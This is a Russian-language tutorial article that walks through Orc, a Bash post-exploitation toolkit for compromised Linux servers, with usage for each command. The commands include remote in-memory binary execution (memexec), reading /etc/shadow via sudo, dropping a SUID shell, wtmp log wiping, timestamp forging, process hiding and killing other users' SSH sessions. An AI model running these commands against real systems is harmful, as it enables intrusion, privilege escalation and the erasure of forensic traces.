Orc: программа для сбора информации из сервера Linux после проникновения


Программа Orc — это Bash скрипт, который упрощает и автоматизирует задачи, связанные с извлечением информации из системы Linux, в том числе сервера, после проникновения в него. То есть это инструмент последующей эксплуатации (Post Exploitation).

По своему назначению Orc в целом напоминает LinEnum — аналогичный инструмент, функционал которого отчасти пересекается с Orc, но у обеих этих программ имеется также и своя уникальная функциональность.

Для более подробного знакомства с LinEnum и с темой поиска важной информации для аудита безопасности рекомендуется ознакомиться со статьёй «Аудит безопасности хостинга и других совместно используемых систем на Linux» - там собрана большая коллекция команд, которые могут пригодиться и другая информация по данному вопросу.

Эта статья посвящена подробному разбору Orc — всех функций этого инструмента.

Чтобы скачать скрипт выполните:

wget https://raw.githubusercontent.com/zMarch/Orc/master/o.rc

Какой-либо установки не требуется. В зависимостях обычные программы Linux (cURL, wget и т. д.) которые установлены на большинстве систем.

Запускается программа весьма необычно:

ENV=o.rc sh -i

Для получения справки введите:

gethelp

Рассмотрим примеры запуска доступных команд.

getenum

Показывает информацию о версиях из ядра, glibc и dbus — эта информация нужна для поиска подходящих эксплойтов для повышения привилегий.

Функция запускается без аргументов и печатает найденную информацию прямо в стандартный вывод:

getenum

getinfo

По задумке, эта функция должна собирать всю возможную информацию о системе в удобную для скачивания форму — в файл f.tar.xz (или в файл f.tar.gz — если в системе недоступно шифрование).

На данный момент, на одной системе эта функция у меня создала пустой архив, а на другой просто выводит ошибки:

mkdir: невозможно создать каталог «/dev/shm/.q/files/»: Нет такого файла или каталога
Error: output directory not defined or prepared
Error: output directory not defined or prepared
Error: output directory not defined or prepared
……...
Error: archiver can not read /dev/shm/.q/files/
Error: can not archive, the files are in /dev/shm/.q/files/

Для запуска выполните:

getinfo

getrel

Совсем простая функция, просто пытается открыть и показать содержимое файла /etc/*release, в котором записано название дистрибутива Linux.

Запуск:

getrel

getdocker

Функция запускается без аргументов — она ищет признаки присутствия Docker'а, для этого проверяется наличие /var/run/docker.sock. Если Docker есть в системе и у нас есть права на запись, то для просмотра запущенных контейнеров выполняет:

docker ps

Запуск:


getdocker

getluks

Несколькими способами ищет признаки зашифрованных разделов: используя lsblk ищет разделы с типом crypt. Если lsblk не доступен, то использует dmesg для поиска зашифрованных разделов.

Запускается без аргументов, результат показывает в стандартный вывод. Если функция ничего не нашла, то ничего не выводится.

getluks

getip

Эта функция узнаёт внешний IP адрес системы сразу двумя способами: от akamai и google (HTTP anиd DNS)

Первый способ — от "whatismyip.akamai.com" через HTTPS. Используется любой из доступных вариантов: curl, wget, perl или python.

Второй способ — запрос к серверам имён Googles, который возвращает ваш внешний IP. Для запроса используется команда dig или host.

Google и Akamai были выбраны как менее подозрительные в логах сервера чем, скажем, ifconfig.co или другие хосты.

Запускается без опций:

getip

getjail

Эта функция определяет, запущена ли система в виртуальной машине или на реальном компьютере, а также используется ли chroot.

Если используется реальный компьютер, то будет выведено:

Bare metal!

Если используется виртуализация, то будет показано:

Virtual machine!

Обратите внимание на два момента:

  • VDS (виртуальные выделенные сервера) — по своей сути являются виртуальными машинами, то есть такие сервера будут определены как «Virtual machine». В свою очередь, виртуальный (shared) хостинг является реальным («железным») сервером, на котором клиентам роздан доступ к реальным папкам сервера — и он определяется как настоящий компьютер. На первый взгляд это может показаться контринтуитивным.
  • Программа НЕ делает проверку на песочницы и Honeypot (приманки) — выполняется только поиск виртуализации

Для запуска наберите:

getjail

getsec

Эта функция ищет признаки присутствия таких систем обеспечения безопасности как:

  • SELinux
  • AppArmor
  • GrSec

Если они присутствуют, то выводится соответствующая информация.

Запуск:


getsec

gettmp

Показывает список директорий под временные файлы. Также проверяет разрешения на них (право читать, записывать, искать по директории). Эта функция приводит список смонтированных файловых систем tmpfs, а также типичные расположения для временных файлов (например, /tmp, /var/tmp)

Домашняя директория текущего пользователя и root также приводятся, поскольку если другие tmp не доступны, то домашние папки являются опциями для хранения tmp файлов. Данные выводятся в стандартный вывод вместе с текущими правами.

К проверяемым директориям относятся точки монтирования tmpfs, а также распространённые временные директории: /dev/shm, $XDG_RUNTIME_DIR, /tmp, /var/tmp, $TMPDIR, $HOME, /root.

Запуск:

gettmp

getusers

Показывает всех пользователей в passwd с входом в оболочку. Для этого функция считывает файлы:

  • /etc/passwd через инструмент getent,
  • /etc/shells напрямую

Оболочка для каждого пользователя указана в файле /etc/shells. Пользователи с оболочкой nologin и false не будут показаны.

Запускается без аргументов, данные выводит на экран.

Запуск:

getusers

getpty

Используя скрипт открывает pty. Этот pty уже должен иметь загруженный Orc.

Запуск:

getpty

getidle

Функция перечисляет все подключения к pty и точное время их бездействия — полезно, чтобы определить, когда именно другие пользователи последний раз работали в системе.

Статистика берётся из псевдофайлов /dev/pts/*.

Запуск:

getidle


getnet

Эта команда автоматически перечисляет живые хоста в локальной сети. Для этого использует arp и known_hosts.

Запускается без опций:

getnet

Пример вывода:

portscan

Запускает сканирование TCP портов. Понятно, что сканирование «подручными средствами» является очень медленным (если сравнивать с Nmap), но нужно понимать всю важность возможности сканирования ИЗ ЛОКАЛЬНОЙ сети. А это особенно актуально, так как предыдущая команда, как вы могли увидеть, дала нам несколько локальных IP:

192.168.0.1
192.168.0.3
192.168.0.12
192.168.0.31
192.168.0.32
192.168.0.42
192.168.0.61
192.168.0.62
192.168.0.72
192.168.0.107

К этим IP мы не сможем подключиться из внешней сети. Также там имеются другие IP, которые могут быть доступны только из локальной сети, либо службы на которых могут быть доступны только из локальной сети.

Запускать функцию portscan нужно так:

portscan ХОСТ

В качестве ХОСТа можно указать IP или имя хоста.

Сканируются следующие TCP порты: 21, 22, 23, 80, 443, 8080, 8443, 129, 445, 3389 и 3306.

Сканер пытается открыть TCP соединение до заданного хоста на каждом порту. Если TCP соединение может быть открыто, то порт добавляется в список доступных.

Примеры сканирований:

После обнаружения 22 порта на одном из хостов (это SSH сервер), я попробовал к нему подключиться — без всякой надежды (пароля у меня нет), просто чтобы посмотреть, что произойдёт:

ssh root@192.168.0.107

А результат оказался довольно необычным, локальный IP адрес был преобразован в хост flnd7.----------.ru. Этот хост дал информацию об IP за пределами типичных для данного случая диапазонов. Также много интересных IP дали хосты вида flnd*.----------.ru.

Локальная сеть — отличный источник данных о «периметре».

getsuspect

Автор Orc также является автором небольшого скрипта Suspect, который ищет признаки компрометации в системе.

Насколько я понял, ищутся явные следы компрометации или следы руткитов (или даже одного определённого руткита).

Для getsuspect нужен https доступ к Github. Можно использовать подключение через прокси, для этого установите переменную https_proxy.

 

Запуск без использования прокси для скачивания скрипта:

getsuspect

Запуск через прокси:

https_proxy=http://proxy.example.com:8080
getsuspect

 

getspec

Выводит базовую информацию об аппаратной составляющей: тип и частота процессора, размер оперативной памяти, подключённые постоянные хранилища, их размер и точки монтирования.


Запускается без аргументов:

getspec

getuservices

Выводит список всех процессов, которые не ассоциированы с каким-либо пользователем с валидной оболочкой входа. Пользователей с оболочкой входа можно посмотреть командой getusers.

Обычно getuservices выводит список таких процессов как веб-сервер или сервер базы данных.

getuservices

getescape

Пытается найти путь вырваться из chroot обходя неудачно настроенные /proc/.

Всё что нашла, функция getescape записывает в стандартный вывод, если ничего не выведено — значить путь не найден.

Использует записи файла /proc/PROCESS-ID/root.

Запуск:

getescape

getdbus

Выводит список всех служб dbus в поисках интересных priv-esc.

getdbus

getexploit

Эта функция загружает "Linux Local Exploit Suggester" и запускает его не прикасаясь к диску. Выводимая информация может помочь в поиске локальных дыр, которые возможно эксплуатировать для повышения привилегий.

Полученные данные выводятся на экран. Для работы getexploit требуется https доступ к Github. Можно использовать прокси, для этого нужно установить соответствующее значение в переменной оболочки https_proxy.

Ограничение:

  • В настоящее время невозможно передать какие-либо аргументы, поэтому утилита запускается со стандартными настройками и стандартным выводом результатов, который может быть довольно длинным.

Запуск с загрузкой напрямую:

getexploit

Загрузка скрипта с Github через прокси:

https_proxy=http://proxy.example.com:8080
getexploit

memexec

Эта функция использует perl (смотрите подробности In-Memory-Only ELF Execution (Without tmpfs)) для исполнения бинарного кода в памяти.

Исполнимый файл нужно загрузить с другого сервера. Для загрузки через прокси установите переменную оболочки http_proxy.

В качестве аргумента для функции memexec нужно указать адрес загружаемого файла, то есть ссылку с протоколом http или https (URL).

Ограничения:

  • В исполнимую программу нельзя передать аргументы
  • Поддерживается только x64

Примеры

Загрузка программы:

memexec http://www.example.com/programs/mytool

Загрузка программы через прокси:

http_proxy=http://proxy.example.com:8080
memexec http://www.example.com/programs/mytool

prochide

Эта функция запускает указанную вами программу, при этом использует простую технику обфускации/запутывания. Суть заключается в том, что берётся самая длинная строка из выполняемых в настоящее время на сервере процессов (ps) и это используется как $0 к той команде, которую вы хотите выполнить.

Дело в том, что нет возможности полностью спрятать аргументы запускаемой команды, но описанным выше способом они могут потеряться «в шуме».

Синтаксис запуска:

prochide EXEC_ARGUMENTS

В качестве EXEC_ARGUMENTS могут быть опции exec.

Ограничение:

  • Нужна программа bash. dash shell не поддерживается

Пример запуска программы:

prochide моя_программа

srm

Это обёртка для shred. Подробности о shred вы можете найти по ссылке: https://kali.tools/?p=2680

Суть shred, а следовательно и srm, в том, что указанный файл не просто удаляется, но и перезаписывается случайными данными, чтобы его было невозможно восстановить. В функции обёртки настроена перезапись, обрезание и удаление файла.

Синтаксис запуска:

srm ФАЙЛ

Аргументом является путь до файла, который нужно надёжно удалить.

Ограничения:

  • Ограничения заложены в самой программе shred — на современных файловых системах перезапись не гарантирует реальную перезапись на диске. Данные удалённого файла всё равно могут остаться на диске даже не смотря на попытки перезаписи.

Пример запуска для удаления файла myfile:

srm myfile

qsu

Запускает sudo без необходимости tty.

Синтаксис:

qsu ПАРОЛЬ АРГУМЕНТЫ_SUDO

qsu запускает sudo без tty. Хотя для sudo необходима tty для ввода пароля, qsu принимает пароль в качестве параметра командной строки. Qsu использует скрипт ASKPASS для запуска sudo без необходимости ввода пароля в tty.

Аргументами являются:

  • ПАРОЛЬ: Пароль текущего аккаунта. Если пароль содержит специальные символы, такие как $, то поместите его в кавычки примерно так 'secrect$password', чтобы предотвратить подстановку и другие действия оболочки командной строки, которая по-своему трактует эти символы.
  • АРГУМЕНТЫ_SUDO: Второй аргумент и опциональные любые другие аргументы передаются в команду sudo. Аргументами могут быть опции sudo.

Пример просмотра файлов в root:

qsu пароль ls -ls /root

Для запуска qsu со специальными символами в пароле:

qsu 'мой пароль' cat /etc/shadow

Для изменения файла index.html от пользователя www также возможные sudo опции:

qsu -u www cp index.html ~www/htdocs/index.html

Внимание: пароль сохраняется в файле скрипта в директории $HOME. Этот файл удаляется после окончания работы sudo. Пока работает команда sudo, данный файл с паролем существует.

qssh

Эта функция запускает ssh без tty.

Синтаксис:

qssh ПАРОЛЬ АРГУМЕНТЫ_SSH

qssh записает ssh без tty. Хотя для ssh необходима tty для ввода пароля, qssh принимает пароль в качестве параметра командной строки. Qsu использует скрипт ASKPASS для запуска ssh без необходимости ввода пароля в tty.

Аргументами являются:

  • ПАРОЛЬ: Пароль для удалённого хоста. Если пароль содержит специальные символы, такие как $, то поместите его в кавычки примерно так 'secrect$password', чтобы предотвратить подстановку и другие действия оболочки командной строки, которая по-своему трактует эти символы.
  • АРГУМЕНТЫ_SSH: Второй аргумент и опциональные любые другие аргументы передаются в команду ssh. Аргументами могут быть опции ssh.

Для запуска qssh со специальными символами в пароле:

qssh 'мой пароль' server.example.com

Внимание: пароль сохраняется в файле скрипта в директории $HOME. Этот файл удаляется после окончания работы ssh. Пока работает команда ssh, данный файл с паролем существует.

wiper

Функция wiper удаляет строки из wtmp.

Формат запуска:

wiper ТЕКСТ

wiper использует utmpdump для дампа wtmp в простой текст и затем ищет по регулярному выражению, в качестве которого использует переданную как аргумент строку. Затем она перепаковывает модифицированный файл в /var/log/wtmp и устанавливает правильную временную метку.

Аргумент:

  • TEXT: Это текст, который будет искать grep.

Примеры:

wiper КЛЮЧ

fpssh

Функция fpssh это обёртка для ssh-keyscan. То есть программа получает публичный ключ с у казанного хоста без необходимости аутентификации.

Синтаксис:

fpssh ХОСТ

В качестве аргумента указывается хост, чей публичный SSH ключ нужно получить.

Пример получения SSH ключей хоста ssh.example.com:

fsssh ssh.example.com

stomp

Функция stomp является псевдонимом для “touch -r”. То есть временная метка копируется от одного файла к другому.

Синтаксис запуска:

stomp ФАЙЛ_ССЛЫКА ФАЙЛ

Аргументами являются:

  • ФАЙЛ_ССЛЫКА: от этого файла копируется временная метка
  • ФАЙЛ: для этого файла изменяются временные метки

Для копирования временной метки от oldfile на myfile:

stomp oldfile myfile

tools

Проверяет на наличие популярных и потенциально интересных инструментов. Список найденных инструментов выводиться в стандартный вывод.

Запускается без аргументов:

tools

dropsuid

Забрасывает крошечный SUID шелл, написанный на ASM. После сохранения, вам нужно в отношении этого файла выполнить:

chmod a+sx

По умолчанию dropsuid пишет бинарное содержимое шелла в стандартный вывод, поэтому нужно перенаправить вывод:

dropsuid > mysuid
chmod a+sx mysuid
mysuid

hangup

Закрывает PTS других пользователей убивая их SSHD процессы.

Формат запуска:

hangup PTS-NUMBER+ | hangup all [other]

Аргументы:

  • PTS-NUMBER: номер PTS для отключения. SSHD процесс, который хостит этот PTS, будет отключён. Можно указывать один номер PTS или список PTS, разделённых пробелом.
  • all: вместо списка PTS номеров можно использовать ключевое слово all для остановки всех SSH процессов, хостящих PTS сессиями.
  • all other повесит все PTS сессии, кроме текущей сессии.

Этот текущий шелл должен иметь достаточно прав для отправки сигнала kill (signal 9) к SSHD процессам, хостящим соединение.

Примеры:

Отключить SSHD хостящий /dev/pts/3:

hangup 3

Отключить SSHD хостящий /dev/pts/4 и SSH процесс хостящий /dev/pts/7:

hangup 4 7

Отключить все SSHD процессы хостящие /dev/pts/*, но не наш SSH процесс:

hangup all other

Отключить все SSHD процессы хостящие соединения /dev/pts/*:

hangup all

getp

Показывает содержимое файла /etc/passwd.

Запуск:

getp

Заключение

Как можно увидеть, у программы есть несколько полезных приёмов, которые могут пригодиться на практике — данный скрипт не будет лишним в арсенали в дополнении к другим инструментам последующей эксплуатации.


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *